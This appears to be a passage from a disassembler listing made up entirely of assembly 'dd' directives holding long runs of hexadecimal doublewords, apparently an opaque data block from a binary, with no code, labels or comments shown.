		dd 5183C5Ah, 3AA3F0Ah, 2BA09C5h, 0E573DC91h, 39643661h
		dd 9F6D8894h, 47BCC499h, 4630CB66h, 605D7DBFh, 860848F4h
		dd 78D48F6Ah, 28A47CBDh, 0D111A873h, 0EE88399Fh, 0DA00CA97h
		dd 49085EB0h, 0FD190A70h, 80C802A8h, 80D8CCDCh,	43000389h
		dd 385BF362h, 479824Bh,	0F684EE66h, 0DF6880F0h,	7E242567h
		dd 6B0044C0h, 0ECDD0F76h, 0C093547Ch, 0A3A100Dh, 48C7D4Fh
		dd 68884755h, 2CD2623Ch, 212E479Ch, 0C7183568h,	59FAF260h
		dd 450A6031h, 4028D6B0h, 69B5483Ah, 0D7225446h,	47637F00h
		dd 0EE800C31h, 0D04601DFh, 0AA129E0Fh, 0F7F9831Dh, 0D28174C8h
		dd 8459627Dh, 20CC8CF9h, 5904036Dh, 0EFA4028Eh,	0DE41591Fh
		dd 83EE057Eh, 742EFDF2h, 0DD03D723h, 0E0FBD384h, 0ACF9208h
		dd 3F18DBCh, 0DE5A41F4h, 0EC8B15A0h, 0BDC0F588h, 2606D4B6h
		dd 8343130h, 80001FF4h,	46A327F6h, 0E0DB02B1h, 0AB6DFB9Eh
		dd 1A2040C4h, 3A2800F1h, 6BBC3D55h, 7D4CF871h, 8C1BBCA4h
		dd 41A4C800h, 523A248Eh, 68B06135h, 2C71AC83h, 8C08B850h
		dd 81AF300Fh, 9E3880A9h, 0A007B154h, 1A338998h,	51B062B9h
		dd 9F443867h, 5C331E60h, 97DAA01h, 0A1796F36h, 6614E037h
		dd 17BC8472h, 9E8D018Ch, 65FCDFF9h, 0EF83420h, 0D5504E00h
		dd 0D462B576h, 810A0387h, 789389DDh, 0D4E227C9h, 0E802471Fh
		dd 5D046E29h, 4048601Ah, 4808B1AEh, 1C63DA8h, 3978FFB0h
		dd 1A0C82E1h, 79B388h, 0E684ECFEh, 4F4AF79Bh, 9D3FE513h
		dd 0B8086435h, 4754C0D4h, 44466893h, 0A501D322h, 0AB57475Dh
		dd 2460465Bh, 8AB11560h, 9A02FCA4h, 44AA4133h, 0FDE4E445h
		dd 4005F960h, 0A4268726h
		dd 2B542801h, 0C9C85737h, 45E4A8AEh, 0D7E9018Bh, 649E105Bh
		dd 0F08420F1h, 23814D07h, 8BB1CF6Bh, 28329CC8h,	5600DA23h
		dd 34688947h, 0FA4486A5h, 475F03A3h, 0D67AD065h, 0C18CFC88h
		dd 0A7CD9818h, 0F65281h, 7ECC1E6Eh, 2CF3980h, 3C445909h
		dd 438E579Fh, 3806C055h, 889E2D42h, 1719A903h, 0C89C5A7Dh
		dd 0C0935553h, 0EABA3F18h, 0F514686Ch, 3BF4E214h, 0A2A0539Eh
		dd 66BD30D5h, 8324B7B0h, 93096C0Ch, 0E490C5D6h,	0D4B4639Ch
		dd 8A820CFEh, 9B2768A8h, 8701771h, 260A808h, 0E8CB1DF9h
		dd 16DC0152h, 0C00B2E0Ah, 0F4A085A0h, 0E00BB111h, 914030EDh
		dd 0C3322225h, 0DEEB2709h, 0AB98219Eh, 40EEE423h, 918CB1EDh
		dd 0E7024094h, 8607244Ch, 0D9C3228h, 0C7486809h, 52E52C6Dh
		dd 0E7003C63h, 0D19F4E90h, 0E0B0B7BBh, 0E379B899h, 0EBACDC19h
		dd 96617304h, 84C12F1Fh, 0B835A7B9h, 0A0439463h, 6F301BA2h
		dd 83C7013Fh, 30A56B14h, 0F6503177h, 71FFAE30h,	82B12B3Ah
		dd 77798024h, 393469FEh, 9F737D0Bh, 11681DA6h, 0A12B80D3h
		dd 132561F2h, 1C0AA956h, 0A501C098h, 0B6AAE964h, 7D085094h
		dd 0EDC860CDh, 0DD210999h, 19491AAh, 0CEDD170h,	573082FEh
		dd 0B61F00FCh, 0B232A722h, 1507B1D4h, 0A55FAE66h, 0B5E17060h
		dd 0CD50003Fh, 53BB1EF3h, 0D500A07Bh, 69CF4915h, 0C81819h
		dd 0FBA682E6h, 4B88812Fh, 89E3CD00h, 455F02B1h,	50D300C6h
		dd 4DD09F5Bh, 1F0039E6h, 4B06EE4Fh, 13740EFDh, 4564F6h
		dd 0D5621134h, 20EC0C1h, 80BE12DFh, 6BCBE7CFh, 5C64EA90h
		dd 749818h, 0ADBDEC51h,	0FD73B2BBh, 0C8605960h,	600AB8A5h
		dd 7F02C063h, 0D0BD6E46h, 0E6AA0730h, 468E34DFh, 0A61F219Ah
		dd 0D5006E4Eh, 3B1446BCh, 0F45F0001h, 63C8B0E8h, 2CA16B21h
		dd 41718DFh, 44E9346Eh,	205832ABh, 6C6E3FA1h, 9451C00h
		dd 7098A67Ch, 0C662011Dh, 0C7E490A0h, 42D09E48h, 6980BB46h
		dd 0F8C40168h, 90CDA737h, 0A0454Ah, 0EAE76643h,	606067A2h
		dd 0AFB78F61h, 810C009Ch, 718426D4h, 5E60E469h,	7239CD20h
		dd 0DFDC00BDh, 50D8A0Eh, 200C647h, 86561BBFh, 0C09F912Eh
		dd 2CBDF461h, 201ED863h, 6540D623h, 4CC42B78h, 39770015h
		dd 8AF0C134h, 1B066446h, 4135B371h, 48514490h, 0FEF88D54h
		dd 0E00005FAh, 0ACF43922h, 4C5BFF7h, 8F5BA5FCh,	8410804Eh
		dd 67243560h, 0E2833401h, 0C8B7B296h, 66AE51A4h, 0D1F9097Fh
		dd 0B2904200h, 0A7AD6827h, 9E64012Dh, 0D94BC6E1h, 0CB9C4052h
		dd 960031F3h, 2E77B54h,	0C0AD9D95h, 232891E1h, 9650C847h
		dd 98A92E94h, 8B21987Bh, 78F1DCF8h, 0F4C83E03h,	7209029h
		dd 0D4402337h, 2075620Eh, 10230FEEh, 805DF938h,	95A19BB7h
		dd 6EF2EF7h, 0C3736A6Ch, 670AF869h, 0FCA613E5h,	17CBF005h
		dd 7B48854h, 24F4EB92h,	4FD05F20h, 0E907FA7Bh, 4826B050h
		dd 7FF51EF9h, 807CDF1Ah, 179015D4h, 8A1C1B2Ch, 3896B2h
		dd 7689C03Ah, 0DAF850h,	527B4246h, 0BAA5CA35h, 1C016093h
		dd 2CE91B6Eh, 0A4885418h, 7F6E0F44h, 0D30094EAh, 0D09E7610h
		dd 5B18F0EEh, 34B86087h, 92BCA6CDh, 5EA6280Ch, 504446F0h
		dd 0ACF2D4D3h, 0F644F0ACh, 0B2950023h, 0F3E9133Ah, 500C0267h
		dd 21CC667Bh, 0FE8F0037h, 0C0033609h, 9600ED59h, 649AEACDh
		dd 503FEE7Ch, 0D547A8C3h, 3CDDB099h, 0C0708198h, 5F030DC6h
		dd 2F75E71Fh, 0CD6109EAh, 602072E9h, 747FB84Bh,	4D4A5100h
		dd 81A08398h, 11749156h, 14200088h, 92B8D95Bh, 0A3502E0h
		dd 0FF5E490Bh, 2F9BF460h, 20909CACh, 4D01E146h,	34E93A6Eh
		dd 88520C8Eh, 6E73359Fh, 7080AC91h, 9C2403BFh, 0A690005Dh
		dd 9DCDA8E6h, 0FC69CB76h, 0CB400C9h, 0FB47DCCh,	0E1C04B81h
		dd 83CA49Fh, 0A40194CFh, 7F116308h, 27959881h, 484833AFh
		dd 0D2048580h, 0C2F0BCC1h, 4AF8F882h, 344400FCh, 989FC1BBh
		dd 0E7E10046h, 0C7A050F8h, 0FD048B0Eh, 7F060AB7h, 0CBC1D0C0h
		dd 0C88E4863h, 1D019623h, 7EC84623h, 88887818h,	237535h
		dd 1F4995C5h, 0A1CB14C6h, 227FE800h, 0F4FD9C37h, 0D0B2F3C7h
		dd 0D33020C0h, 5296B0C1h, 8122601Ah, 0C1BC3B0Ah, 58CA9470h
		dd 0D98B4211h, 0BC29948Fh, 14F35831h, 0EA1CC1BFh, 2318325Dh
		dd 23340791h, 6236D41Bh, 0CEF2077h, 5200F823h, 0ACF55182h
		dd 7BF61EBDh, 45C004D7h, 906669A2h, 2CE48804h, 908FC4Ch
		dd 0EC0ECD4h, 91532974h, 971848A4h, 0A9B8B23Ch,	3F405C8Ch
		dd 0C1FB291h, 48FD4EACh, 5B13C691h, 0A4125CC9h,	23DC4063h
		dd 0BC074B60h, 0B494D1B2h, 0E4981038h, 68AA9E03h, 2CCEF8BCh
		dd 0CAE948h, 1E70E0DDh,	1092DA52h, 73B8CF70h, 0D52FB905h
		dd 0E8007C77h, 0E4CDE017h, 0B2C28B78h, 0DE46A44Eh, 376E4001h
		dd 0CAB4CE9h, 48A08855h, 0DD66E0Eh, 0E54B004Eh,	92F61B25h
		dd 212461Ch, 0F097C1B9h, 1084318Ah, 0FAC1E265h,	5C92F059h
		dd 56BC08C9h, 0D64F008Ch, 0E979884Dh, 30173803h, 90067B51h
		dd 39E0814Ch, 0CD28F3E7h, 915B1E9Ch, 40C817CCh,	1E1296BCh
		dd 460E9767h, 824AF050h, 0A1490A4Fh, 54D3D4E4h,	0DC879450h
		dd 48CC6004h, 587173B0h, 56F190B9h, 72006018h, 0EAB40824h
		dd 0C24A6CBBh, 0C9BAD4B8h, 55E42CC5h, 8CE78860h, 91AF9005h
		dd 0CC045E07h, 352273FAh, 11C1D030h, 8432F0BEh,	3E0AB25Ah
		dd 0F55E00DCh, 245D523Ch, 0D02B1B07h, 0FB015848h, 0C1F27941h
		dd 4318BB80h, 0E9286E08h, 5C53C424h, 676E4BC2h,	0CF54E0C4h
		dd 6B2A815Eh, 58165EC0h, 76D50008h, 0E48D393Fh,	7C1E9DBDh
		dd 0DF40906Bh, 0EC684F37h, 1B281269h, 5C5005B7h, 888C8E8Eh
		dd 24B0C0F4h, 411F3F8Dh, 0FB0BD232h, 4B0F805Bh,	5C9C1C01h
		dd 4F8928ABh, 3417C042h, 0BE83DE11h, 0C1A8FF1Ah, 5A035798h
		dd 67D5472Ah, 10607F4Dh, 3152C7CCh, 650739CDh, 6D3E9851h
		dd 0D0FE5630h, 6B9244A0h, 9DA05A20h, 9AD1EEDCh,	8CBB127Ch
		dd 5F90208Ah, 63F95143h, 3079A22Ch, 0E702B4D6h,	4BA81F86h
		dd 0C184CA45h, 7181A73Ch, 0B61A5B22h, 0AF31007Ah, 0B41D144Bh
		dd 0C0384A3h, 850F965Ch, 72D7D9h, 13D53202h, 20F83166h
		dd 96718A5Ch, 0FCAF6326h, 300BEA12h, 0AE1404CEh, 237FC443h
		dd 0F02431DEh, 70A8ECD2h, 571A5400h, 0A061969Ah, 0A3F12FDh
		dd 0C97C148Bh, 0D41D310Dh, 0C984291h, 16C1B730h, 38BAEFD9h
		dd 0E0602F80h, 9F740920h, 1409470h, 1FD5BC1Eh, 0DBF020CBh
		dd 0F9B384ABh, 0C1D057C7h, 308D990Bh, 0EBE65944h, 31FA5E03h
		dd 1550FE5h, 0BF616A88h, 0EC7E7348h, 2E07B10Eh,	1B3063A5h
		dd 0D4E3CD03h, 4B2264D1h, 0B040B5D1h, 902DB689h, 2AA20124h
		dd 0AF2B1969h, 0B668480Fh, 0F0294990h, 384068E2h, 48CCC1DFh
		dd 63203CEFh, 0CC99072Ah, 8C465090h, 396E1A02h,	7B311CE9h
		dd 6E42A210h, 0CEDD5E00h, 0EA69B57Dh, 525F0975h, 6804CFA0h
		dd 0B2BD604Eh, 42DCF2D2h, 25CB54h, 48BA19C8h, 29B1C08Ah
		dd 0BE33BB66h, 299658h,	22C578E9h, 0F0139719h, 0EC6F580Ah
		dd 178CF5E8h, 14A3449Eh, 7C80D0CDh, 3B59962h, 89C09307h
		dd 6FDEFC7Ah, 2D798001h, 0B05430BBh, 524F60Ch, 3C1D8148h
		dd 0A5E8038Eh, 42B0F7BDh, 0DFEAC2C6h, 0A544B49h, 0B46A27CBh
		dd 8FD843Ch, 4C80D12Dh,	0C98395Dh, 843B73F2h, 0B3050220h
		dd 0F811E18Eh, 0E6A12039h, 74002620h, 80B18021h, 0EF0EE94Ch
		dd 7E42697h, 85E84D54h
		dd 0C28B5900h, 41CBC36Ah, 994F1DF7h, 30B46846h,	50296707h
		dd 0BF00C6CFh, 42D13424h, 0F8E5B7CBh, 1309B94h,	0C81C231Bh
		dd 8892186Eh, 2300338Ah, 5666400Eh, 2C88B2E3h, 11B8BF8Fh
		dd 1D3E68h, 0BD807476h,	13E8AFE0h, 32B04DBh, 6409D368h
		dd 175F2925h, 0B25A886Ch, 63E32860h, 769900CBh,	488D51Eh
		dd 989A2F30h, 797154B9h, 38019218h, 0C8D75427h,	9834754Bh
		dd 0FBF31ACBh, 94175945h, 160046BBh, 4E32244Bh,	0E53BC78Ch
		dd 0FC2601E6h, 3169E255h, 0B9CA7074h, 185279F8h, 469213C2h
		dd 7E88D067h, 0ED005179h, 39D397F4h, 141F1E78h,	0B4BDF1C6h
		dd 2114FE26h, 18767164h, 2A5605BFh, 0C1DA1F93h,	0F5EBC64h
		dd 30B18E84h, 1D813D96h, 0BAE64F0Ah, 0E7742089h, 0A060306Dh
		dd 5A9E4h, 0C64F9CE2h, 4812970Ah, 90718567h, 0BA914C20h
		dd 316C00F4h, 6DE63F80h, 8B4C7121h, 79480382h, 3A39140h
		dd 5A827059h, 7BF036E6h, 4200BC99h, 6901BADCh, 0B4D14739h
		dd 58E814CCh, 5C8C9DACh, 81C0B42Dh, 47CE0A74h, 0DC560B2Eh
		dd 7DC0381Ch, 1514F0CFh, 0EE4F0622h, 98CA2840h,	27F89109h
		dd 0BC9C8848h, 7844674h, 5BC81839h, 708089A4h, 58D40B5Dh
		dd 0A60784E5h, 0C88C34D3h, 0C68FDB04h, 48BBAE01h, 0C1318A75h
		dd 0D47CF4h, 0D3BDE9BCh, 0ED63B152h, 183B7D4Fh,	5B1F5423h
		dd 0D3C5C741h, 48898680h, 0F462A047h, 0D2093CC6h, 0BBF2D7Fh
		dd 91201D54h, 0BCED8084h, 6308BB30h, 7E0E6882h,	0FB4E2005h
		dd 0E416FFF3h, 7B84DC04h, 44DBE903h, 92244FE2h,	1A233960h
		dd 0C01EC821h, 0D2311DCh, 0F9903301h, 1EBDE8FFh, 0C0988080h
		dd 0DFCE6456h, 3CAE9128h, 9A6AF107h, 0A09B63A1h, 40F8BFC8h
		dd 3E31057Eh, 404E0AAAh, 6A9B4C9Ch, 1200DE8Ah, 907487C5h
		dd 6380BE6h, 0AD4BD550h, 9802C085h, 0D4BB2E18h,	5E5CE0C7h
		dd 352D2D76h, 0D89DC889h, 0CE82DE11h, 84E0076Ch, 2F3B412Dh
		dd 99AEB4DBh, 99F230B2h, 97F930h, 0F0AD9ECCh, 1D6976E9h
		dd 0E891D42Ch, 15301B01h, 569BE721h, 0B100C9D5h, 0B0E3C502h
		dd 0B26C4946h, 0FB500B28h, 0D4004B83h, 6003E4A5h, 0D650F659h
		dd 8423D42Eh, 24D77100h, 4E782D5Bh, 23483A9Eh, 33550058h
		dd 8AEFDE6Ch, 40EB8426h, 0FD8DF803h, 7028075Dh,	40CE99CCh
		dd 0A151B7E1h, 0ACDBEA13h, 0CE48C7h, 66A07523h,	5E59C16Fh
		dd 93DF200Bh, 6434E120h, 1D0308CFh, 753A3E35h, 89D60801h
		dd 64E6321Ah, 0E0A1D8h,	7D30A3BEh, 0DF1BB018h, 3E2A9000h
		dd 327089BDh, 16913AEDh, 8A3A1060h, 90066179h, 99B5D97Eh
		dd 21066209h, 0D5E0825Ah, 0CEFEB373h, 0BAE2D803h, 0EB881913h
		dd 0BD78008Ah, 1CFD7CA9h, 5E0C6530h, 85508B9h, 7721C0ADh
		dd 572BFD43h, 0D01F5FEh, 0D62FCD23h, 69801390h,	0DEEDA388h
		dd 21008D93h, 0AA6304CCh, 0E0A2F4B7h, 1A471889h, 62DDE9B9h
		dd 2395D60Ah, 0D4C4846Dh, 0D67AF840h, 0EF7A61ACh, 19A31B30h
		dd 39E521h, 0E013AABCh,	68954BD6h, 64BAA406h, 883DF1h
		dd 0CA1E521Ah, 550EBB7Ch, 0E6B31519h, 21804A08h, 0A8CA167Fh
		dd 82001ECEh, 2877C5B2h, 1BA74327h, 0B00AA4BEh,	0D66E60BCh
		dd 84229891h, 0E4A94458h, 6ED66600h, 0E90A9A20h, 8CC3528Ah
		dd 0AEB90B0Ch, 0B6548229h, 0AF8E4A8h, 9541C70Eh, 6FCA2721h
		dd 0EC6016C5h, 106C7997h, 0C8C6A690h, 8F558001h, 98AE2779h
		dd 0CAFDF601h, 37302FBBh, 187BC880h, 858C7EFh, 0C81F380Ch
		dd 97B8F1h, 0A3CCF0B5h,	0BEBBF78Fh, 738090Eh, 23A4F486h
		dd 0CA10017Ah, 181EBB7Eh, 0E87D8854h, 2EFECA00h, 0A66777D7h
		dd 99BE18F5h, 0B1C5213Ch, 0B1119030h, 219AC53h,	3D581B7h
		dd 0B4A42E92h, 0D6636048h, 65232494h, 7BFB7090h, 2F7DE5ECh
		dd 0A4604979h, 93E23519h, 99B10F29h, 30A0CD7Bh,	0B8DD0F84h
		dd 0BD09147Dh, 0A4DB0C4h, 4674A048h, 3FE1003Dh,	0A3B427C2h
		dd 1DE0A85h, 4EEC1B8Dh,	5B319720h, 0FD3EA02Bh, 0A4D3E88h
		dd 0F8B483A7h, 0D8B785BAh, 5383F846h, 0BC02E567h, 0B0458903h
		dd 11D66C80h, 891D2397h, 0F710B0D0h, 0BF265818h, 0CAB39309h
		dd 1883E811h, 23FD7B41h, 0A4114D30h, 0FD804838h, 0EF378B81h
		dd 14905727h, 18198703h, 3BA5C3CFh, 0E08099A0h,	97BE1A76h
		dd 0ECA8BB20h, 3449FC77h, 0A864D098h, 0E2038CD7h, 0B20A945Ch
		dd 71902A6h, 0B154E9CEh, 0D881A046h, 49418EBh, 8E906379h
		dd 200232C6h, 5B798C58h, 1F5CAE02h, 40FD8EF1h, 40D3A408h
		dd 7F18BBACh, 68C03ED4h, 0A1A6FED8h, 7F188DA0h,	0C211FD26h
		dd 0A211A023h, 0FD464A00h, 0F510C64h, 66724E03h, 0B8824Dh
		dd 0A8874521h, 59FA3885h, 0C510F300h, 0A9EE7961h, 1BF40521h
		dd 2E982973h, 7A6233Ch,	92108B52h, 0EC6069B7h, 8620D6Ch
		dd 250454D8h, 23CC3B2Eh, 0FA5000D1h, 0C8D3DFF8h, 36025773h
		dd 77DC5212h, 65A080A8h, 3492BE95h, 8238BA18h, 1530791Ch
		dd 0BB4111CAh, 805688E6h, 33CAED72h, 2C00EAF4h,	87265D2Bh
		dd 0C1A5EB93h, 0E47E7C89h, 0D80AD4CCh, 0E075F0F0h, 214FB835h
		dd 0C5449C08h, 2346816Fh, 80286305h, 0CCD667E7h, 87B20079h
		dd 0E3E02E98h, 0BE18A6F3h, 8DC9B496h, 448BF01Dh, 57383132h
		dd 0CFA8D038h, 947DA105h, 388E7E7Fh, 0F2C05488h, 1045A39h
		dd 301F8513h, 50C0CBBCh, 0DC3278A8h, 10C3FF79h,	9B1C977h
		dd 2E37ACB8h, 18EA8419h, 6079088Bh, 59708690h, 0DB790083h
		dd 2F5EA292h, 8B18F10Ah, 74210E90h, 6B076C5h, 407E63D9h
		dd 0D6FCE83Ch, 7B1492F8h, 80B0BC0Ah, 911FC6ACh,	80341365h
		dd 0C3A40353h, 6FCA8269h, 11EEA865h, 5CBF7C80h,	0E80E5734h
		dd 8CC4B99Fh, 488F5855h, 0D2E85CF2h, 0B105028Ch, 88E09C15h
		dd 0A8DBF840h, 207FB380h, 0F93006D0h, 95BE8812h, 65D0A862h
		dd 0F4C8547Eh, 0DB941A8Eh, 0F40438A9h, 0CA13607Bh, 16BB237Fh
		dd 7C004911h, 2314CAEBh, 0DB018520h, 620D8D82h,	40407731h
		dd 0D44BA45Ah, 0F43A3099h, 8D30BE40h, 27BB4938h, 1833609Ch
		dd 14AAA139h, 0B4074524h, 4A4674h, 0B8FDD7C6h, 84B345h
		dd 16EF03Bh, 2C7076CFh,	0D78D8A00h, 3805E33Eh, 0E1B30082h
		dd 8E17BD31h, 0C851212Bh, 9030DEF0h, 0AECCF779h, 548385C6h
		dd 8B717988h, 3B95E9DCh, 845813Eh, 0EFF04164h, 32A18F3Eh
		dd 46A486C2h, 0E90B1318h, 8F8808B1h, 41FD7DC2h,	88366D98h
		dd 7400A722h, 9AA6FD44h, 13B9851h, 2E4B37E6h, 65598434h
		dd 0F2AC62F8h, 615F3002h, 26381060h, 0B0A857F7h, 902D3A88h
		dd 9D9C2960h, 43007F48h, 47FD63B1h, 558A69h, 0E9B5502Eh
		dd 0AC7C9849h, 17C21A25h, 80D49128h, 258D9B2Fh,	0C7F3AC5h
		dd 6C500848h, 40C94147h, 0B2DA1708h, 929CE851h,	10606610h
		dd 267ACA1Ch, 704C3EBBh, 0CA1F1479h, 718F1158h,	0CF68202Ah
		dd 4D42FE3h, 94BF8C5Fh,	30C82EDh, 0D473E051h, 309FC761h
		dd 0C5402F6Ch, 0A3B4F6BDh, 6067B4C8h, 0B6906E79h, 5306448Ch
		dd 0F90579E4h, 0AF5FEF8Eh, 0D27EC45Eh, 3149E278h, 0B2B0F48Dh
		dd 5BE47CB8h, 0BE00883h, 0BA9DA4C4h, 1356F889h,	4A202B20h
		dd 0D6610180h, 4E75238Ah, 79FD00E0h, 830DD5D6h,	765D0822h
		dd 91170E48h, 3B306C20h, 1A8009DCh, 8404203Eh, 8E7C096Ch
		dd 2412C80Ch, 1E08246Eh, 3C02E028h, 0A55952BCh,	80F8B714h
		dd 82F0BBDCh, 575CB7C4h, 254119A2h, 8030BDB9h, 0E5A541E7h
		dd 8F1980A0h, 11759848h
		dd 4E4A0379h, 39F16A0Dh, 9C3E5900h, 0DCEF6399h,	907B06CBh
		dd 500D1583h, 0F1199130h, 98FB37Dh, 0A74EFDE9h,	98825804h
		dd 12FA42F4h, 7C55302Eh, 0FDC44971h, 91BF1E76h,	1667818Fh
		dd 40502FD7h, 8C3015E0h, 0B8A23330h, 94CC3B93h,	0A9CA99F8h
		dd 8807F80Bh, 43950DDh,	0C85FC61Eh, 882C64A1h, 2C8CA4BCh
		dd 1194D934h, 24173FA6h, 3C0CEC1Bh, 32998128h, 379BA1Dh
		dd 51EF0465h, 88021380h, 0A16277DDh, 0C19045E0h, 0C073C860h
		dd 12017823h, 0EEBB40CAh, 7320DA19h, 156CAEAh, 881CADD9h
		dd 0ED24AEBFh, 0DC0AFCC5h, 30901824h, 350AFC26h, 0F194E027h
		dd 14CA9238h, 0B500A3DDh, 82E2E51Ch, 0BD90397h,	0C52939DBh
		dd 0E7DCC09Ch, 30B8A9CAh, 0D614F309h, 471C12B7h, 60034418h
		dd 175DFD13h, 375E9048h, 94F6F278h, 4EA170ADh, 0C05688A4h
		dd 0A0CD9132h, 0DD780A7Eh, 1D8D0804h, 4C821078h, 811F0458h
		dd 74C7F3D8h, 51E09544h, 9F33593Fh, 8E8C3136h, 6091541Ah
		dd 2FB4910Fh, 26003E74h, 0C4E4D870h, 1711E9h, 2D1CFC98h
		dd 8049078h, 490AE21Fh,	38286826h, 3D5BB820h, 0C600B374h
		dd 0B5792870h, 0C84ABE0Bh, 0A9239C3Eh, 24BD3602h, 8AFCE888h
		dd 0EDD505F0h, 80EA8FD2h, 393C6340h, 23F737Ch, 613FB0C0h
		dd 4A7D98h, 80BAE290h, 0CC21A2F3h, 4832F830h, 1723A3F6h
		dd 444C9C2Ch, 0E292E800h, 30A2F264h, 0DD1C09EBh, 0F8434E7Ch
		dd 72B77358h, 0F0D65021h, 1F048C67h, 36BB7BCAh,	78205762h
		dd 87CA17h, 0EA312DBFh,	1D672F30h, 0C6AC5E09h, 0EE5803E8h
		dd 917A9846h, 9CE8C715h, 0EBB5C2A0h, 0AE198EDh,	0A7C0A9D3h
		dd 73B0006h, 584ACA08h,	3896C152h, 49465Eh, 711C6402h
		dd 0A8B8C10Ah, 26EEBE8h, 30B1C549h, 8435E3Dh, 0D66060C4h
		dd 7D23268Bh, 78FA7048h, 0AC0454ECh, 0CAD38430h, 87744100h
		dd 432CE81Ah, 0AC04D0BAh, 70A3E0CEh, 0B319D900h, 0BA351C94h
		dd 69971212h, 4E23BC3Ah, 4AC5C3Dh, 0B1E0918h, 0ACE018A6h
		dd 0FE80C83Ah, 74E6730Ah, 6C42FE68h, 0E9C0288Bh, 0E1774116h
		dd 0C883CC9Bh, 9DC93694h, 64102052h, 30F4702Eh,	467C0426h
		dd 849800DEh, 0FE2BCF7Eh, 232706E3h, 79079193h,	43BFBE00h
		dd 0D1C84CF7h, 31260F0Fh, 0FA60DA5Fh, 30D42941h, 0ACCCA10Bh
		dd 0C534A238h, 447CC779h, 0D87E62A5h, 0D18CB128h, 0A0BA18D1h
		dd 257DECh, 38B7236Fh, 5828CCC2h, 2926609Ah, 46740498h
		dd 3E2100A3h, 9EF8E8DBh, 956532F1h, 40308C48h, 301011FDh
		dd 83A08845h, 8EFD474Bh, 3FC017F8h, 8AE1491Ch, 465E9424h
		dd 2ACF00D0h, 958EFE87h, 0C55404C4h, 85185C7Fh,	0FEC1688h
		dd 5B101EBCh, 0CE00C86Eh, 57B88042h, 0D27E7958h, 180B14B0h
		dd 90A03ADCh, 3777C5D0h, 34780A20h, 0A268A3D8h,	83DA30D7h
		dd 0E9020AF8h, 35A3BEBCh, 21CC78F1h, 942188AEh,	0E518D271h
		dd 82266705h, 688054ABh, 2E87B30Bh, 17403ED8h, 23043FBAh
		dd 0AC600205h, 0AC903D41h, 2A59DBBEh, 2F438168h, 6060621Ch
		dd 5E2EEE09h, 234C2FFDh, 0D97800D4h, 384116B7h,	520240B1h
		dd 79D8DFA4h, 342644ECh, 18818CBh, 278029C0h, 98CB7F1Eh
		dd 54F0EEC0h, 6E1BF87Bh, 0B6C199A7h, 0D996064Fh, 0A2DC73D9h
		dd 412A3049h, 795F061Dh, 68902C17h, 70AF35C1h, 46F030A3h
		dd 0D55DB931h, 2668E102h, 0C035EAD2h, 39345FDh,	0A8ECA21h
		dd 0F9D0CEADh, 84929C27h, 38022400h, 0BF8E690Dh, 0AC5F1Bh
		dd 0C7EF0848h, 0F2F86831h, 0F25C72E1h, 0A1830D2h, 0F2995402h
		dd 7ADC087Eh, 2025BECh,	5D264134h, 14913450h, 2318ADD1h
		dd 3124C200h, 8EF2F0Dh,	6320B478h, 0A4C21B92h, 0C0A128D1h
		dd 0D4194871h, 320DB7DDh, 48A0F3DCh, 24FF5C30h,	864CE0Dh
		dd 972D3FD4h, 80019194h, 0B1F09F5Ch, 0C22D00D0h, 228E17FAh
		dd 44E0CC39h, 789458D0h, 8888C345h, 8A3BC153h, 0E4357C7Fh
		dd 0BE0B8902h, 9370C445h, 64557098h, 0D56E1102h, 0E00C29D9h
		dd 8210A020h, 41096C40h, 0F20E2702h, 0F96835ADh, 1806F110h
		dd 24F7FE02h, 38A9EFh, 805B3C2Eh, 0B4B6B7ABh, 183F465Eh
		dd 6746AB76h, 10A8052Ah, 0A033A450h, 5D74F1F4h,	75664D12h
		dd 8EBEA020h, 88D09938h, 813D3770h, 0C4218CF8h,	0D46562E8h
		dd 0ED0B401h, 0B5405F0Ch, 59CE03B1h, 961E7B90h,	855D019h
		dd 0C4E0BE58h, 76D0BCA6h, 0AD004B46h, 9FC38A2Dh, 0CF1C041Fh
		dd 3C4B2F87h, 1DD429ACh, 803D115Ch, 4CE038C9h, 0C6A5386Ch
		dd 2BDD5587h, 0B696E065h, 900C7548h, 0C85D53BFh, 78CFF83Ah
		dd 0BA51201h, 114A3B9h,	48658D40h, 19C06E15h, 7FBB0ACBh
		dd 2942928h, 0A35FDDAAh, 0FB02BC58h, 94090AB5h,	79D05158h
		dd 0FEE8193Fh, 0B34204D1h, 0C48A4C14h, 0F2BCB218h, 6F913049h
		dd 8072CF3Bh, 0C1C6DB3h, 0B6DC27C7h, 0BB03FF8h,	7E5E0779h
		dd 5D4361Eh, 0E8C052DEh, 1A41C5E3h, 7939001Dh, 786A7692h
		dd 6800ABEEh, 7255F149h, 0B2D3FDAh, 0C843A432h,	20A934CAh
		dd 0AC44BCC7h, 0F0995260h, 8D2FB600h, 59255439h, 0FEF2D8Eh
		dd 9A2EA004h, 0C0B0D10Ch, 0E3BC1A36h, 96FE06ACh, 2118F6D9h
		dd 0F4AA2AF8h, 23410802h, 0B22658D2h, 641150DAh, 0A6BC1C5Ch
		dd 29E5058Ch, 88829E98h, 0A60043DCh, 0C794B2FBh, 133C1D2Ah
		dd 40EF708Ch, 49137DC0h, 0C14FB0C5h, 0C7312441h, 88405697h
		dd 181DE8BCh, 51B1838Ch, 857D7C5Eh, 8F936007h, 0C7F06E23h
		dd 9708574Fh, 0D511041Dh, 4626F280h, 88EE6F76h,	40AC9E12h
		dd 3BEFA001h, 0DC1C09B5h, 0ADB3B61Dh, 8800F9D2h, 0FF32AF5Eh
		dd 1FF71226h, 0B4B85059h, 0E7944200h, 0F07E6D28h, 9E1C1048h
		dd 3A9C7606h, 243C6510h, 0CB8812C4h, 0C656C850h, 810032ECh
		dd 2460514Eh, 1DEAC235h, 0C311DB39h, 7E5D9C4Fh,	8C690DEAh
		dd 80D0F684h, 1DC84BCh,	0F1D7B034h, 222FC78Dh, 0BD2F7AB8h
		dd 0F950028Fh, 12C44BBh, 47C9E1CFh, 4973D25Fh, 0F208F0CCh
		dd 0B75C7A01h, 0A87E5B04h, 4452CC6Ch, 18AC4D22h, 2C219204h
		dd 90814020h, 999F41F2h, 0DF7E8010h, 9C62E971h,	43C90514h
		dd 3BD89C8Ch, 0F0D4D829h, 9B950031h, 10742A93h,	0EA5C7862h
		dd 0D3894F4h, 78B3E90Ah, 2C30CC09h, 80D8AA04h, 0F357DFA8h
		dd 5EBC9C45h, 2C0F5746h, 0D720407Eh, 0EB44E217h, 92304349h
		dd 4F2ACE2h, 0C07F6530h, 745D1604h, 5807F6AAh, 7A60023Eh
		dd 14803B07h, 9861DD9Ah, 6E9D1398h, 8EE8714Eh, 7C89C12Ch
